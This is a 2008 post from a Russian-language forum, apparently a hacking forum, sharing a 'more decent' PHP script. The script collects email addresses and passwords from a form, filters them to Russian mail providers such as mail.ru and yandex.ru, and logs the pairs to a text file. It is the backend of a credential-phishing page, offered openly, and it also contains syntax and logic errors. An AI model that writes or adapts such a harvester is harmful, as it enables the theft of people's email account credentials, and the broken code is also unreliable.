Показать сообщение отдельно

  #5604  
Старый 21.09.2008, 20:20
d_x
Постоянный
Регистрация: 25.03.2008
Сообщений: 670
Провел на форуме:
4137635

Репутация: 2407


По умолчанию

Немного поприличнее вариант:

PHP код:
<?php   
$mail
=Array(
"mail.ru",
"list.ru",
"inbox.ru"
"bk.ru",
"yandex.ru",
"rambler.ru"
);

if (!isset(
$_POST["a"]) || !isset($_POST["b"]) || $_POST["a"]=='' || $_POST["b"]==''//проверяет поле на пустоту  
  
header('Location: error1.php'); 
else 

  
$fs=explode("@",$_POST['a'],2);  //проверяет правильность мыла 

  
if(in_array($fs[1],$mail) && preg_match("/^[_\-\.0-9a-z]+@[0-9a-z]{1}[_0-9a-z\.]+\.[a-z]{2,4}$/i",$fs[1])) 
  { 
    
$fh=fopen("kont.txt","a+"); 

    
fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n"); 
          
    
fclose($fh);         
  
    
header('Location: autor.php'); 
  } 
  else 
  { 
    
header('Location: error2.php'); 
  } 

?>

Последний раз редактировалось d_x; 21.09.2008 в 23:22..
 
Ответить с цитированием